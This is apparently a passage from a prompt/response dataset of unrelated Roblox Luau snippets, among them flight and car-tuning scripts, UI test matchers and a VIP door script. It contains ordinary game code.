		(main.CFrame.lookVector.y > (realSpeed < stallSpeed and -1 or -diff));
	}
	for _,c in pairs(check) do
		if (not c) then return false end
	end
	return true
end

function fly(m)	-- Main function that controls all of the flying stuff. Very messy.
	flying = true
	local pos,t = main.Position,time()
	local lastStall = false
	while ((flying) and (not dead)) do
		--realSpeed = ((pos-main.Position).magnitude/(time()-t))	-- Calculate "real" speed
		realSpeed = main.Velocity.Magnitude
		pos,t = main.Position,time()
		local max = (maxSpeed+(-main.CFrame.lookVector.y*speedVary))	-- Speed variety based on the pitch of the aircraft
		desiredSpeed = (max*(on and throttle or 0))	-- Find speed based on throttle
		local change = (desiredSpeed > currentSpeed and 1 or -1)	-- Decide between accelerating or decelerating
		currentSpeed = (currentSpeed+(accel*change))	-- Calculate new speed


Prompt: -- Variables

Response:
local Maid = {}
Maid.__index = Maid


Prompt: --[[Engine]]

Response:
	--		[TORQUE CURVE VISUAL]
	--		https://www.desmos.com/calculator/nap6stpjqf
	--		Use sliders to manipulate values
	--		Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.

	Tune.Horsepower		= 165
	Tune.IdleRPM		= 800
	Tune.PeakRPM		= 5500
	Tune.Redline		= 6000
	Tune.EqPoint		= 5252
	Tune.PeakSharpness	= 6.0
	Tune.CurveMult		= 0.2

	Tune.InclineComp	= 1.5		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Turbo Settings
	Tune.Aspiration		= "Natural"												--[[
	[Aspiration]
		"Natural"		: N/A, Naturally aspirated engine
		"Single"		: Single turbocharger
		"Double"		: Twin turbocharger											]]

	Tune.Boost			= 15		--Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
	Tune.TurboSize		= 80		--Turbo size; the bigger it is, the more lag it has.
	Tune.CompressRatio	= 9			--The compression ratio (look it up)

	--Misc
	Tune.RevAccel		= 125		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 25		-- RPM decay when clutch is off
	Tune.RevBounce		= 0		-- RPM kickback from redline
	Tune.IdleThrottle	= 5			-- Percent throttle at idle
	Tune.ClutchTol		= 250		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
module = {};
function module.sanitize(p1)
	return p1:gsub("%c", "");
end;
return module;


Response:
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Car.Value
car.Body.RSPD2.VehicleSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)


Prompt:
---Register User Input---
--Listen for keyboard and gamepad input

Response:
local function seatingAction(actionName, inputState, inputObj)
	if inputState == Enum.UserInputState.Begin then
		if AdornedSeat then
			if isFlipped(AdornedSeat) then
				flipSeat()
			else
				EnterKeyDown = true
				enterStart()
			end
			return Enum.ContextActionResult.Sink
		end
	elseif EnterKeyDown then
		EnterKeyDown = false
		return Enum.ContextActionResult.Sink
	end
	return Enum.ContextActionResult.Pass
end


Prompt: --// [ key, ally

Response:
mouse.KeyDown:connect(function(key)
	if key=="m" then
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.AllyEvent:FireServer(true)
	end
end)


Prompt: --Tune

Response:
local WheelieButton = "T"
local DeadZone = 90


Prompt:
--[=[
	Use  to test that the left padding between the given GuiObject or Rect and
	the other GuiObject or Rect.

	The last argument is optional. If nil, the matcher will pass only if the
	difference **left** edge of the given GuiObject or Rect and the **left**
	edge of the other GuiObject or Rect is zero or positive.

	```lua
	-- Jest
	expect(instanceA).toBeInsideRightOf(instanceB)
	expect(instanceA).toBeInsideRightOf(instanceB, 10)
	expect(instanceA).toBeInsideRightOf(instanceB, NumberRange.new(0, 10))
	```

	```lua
	-- TestEZ
	expect(instanceA).to.be.insideRightOf(instanceB)
	expect(instanceA).to.be.insideRightOf(instanceB, 10)
	expect(instanceA).to.be.insideRightOf(instanceB, NumberRange.new(0, 10))
	```

	@tag inside
	@within CollisionMatchers2D
]=]

Response:
local function insideRightOf(a: GuiObject | Rect, b: GuiObject | Rect, distance: number | NumberRange)
	local aRect = toRect(a)
	local bRect = toRect(b)

	local distanceFromSide = (aRect.Min - bRect.Min)
	if distance then
		if typeof(distance) == "number" then
			distance = NumberRange.new(distance)
		end

		return returnValue(
			distance.Min <= distanceFromSide.X and distance.Max >= distanceFromSide.X,
			"Was within range",
			"Was not within range ( " .. tostring(distance) .. ")"
		)
	else
		return returnValue(distanceFromSide.X >= 0, "Was not left of the element", "Was too far left of the element")
	end
end

return insideRightOf


Prompt: -- list of account names allowed to go through the door.

Response:
permission = {"YOURNAMEHERE"}--Put your friends name's here. You can add more.

function checkOkToLetIn(name)
	for i = 1,#permission do

		if (string.upper(name) == string.upper(permission[i])) then return true end
	end
	return false
end

local Door = script.Parent

function onTouched(hit)
	print("Door Hit")
	local human = hit.Parent:findFirstChild("Humanoid")
	if (human ~= nil ) then
		-- a human has touched this door!
		print("Human touched door")
		-- test the human's name against the permission list
		if (checkOkToLetIn(human.Parent.Name)) then
			print("Human passed test")
			Door.Transparency = 0.7
			Door.CanCollide = false
			wait(1) -- this is how long the door is open
			Door.CanCollide = true
			Door.Transparency = 0
		else human.Health= 0 -- delete this line of you want a non-killing VIP door
		end
	end
end

script.Parent.Touched:connect(onTouched)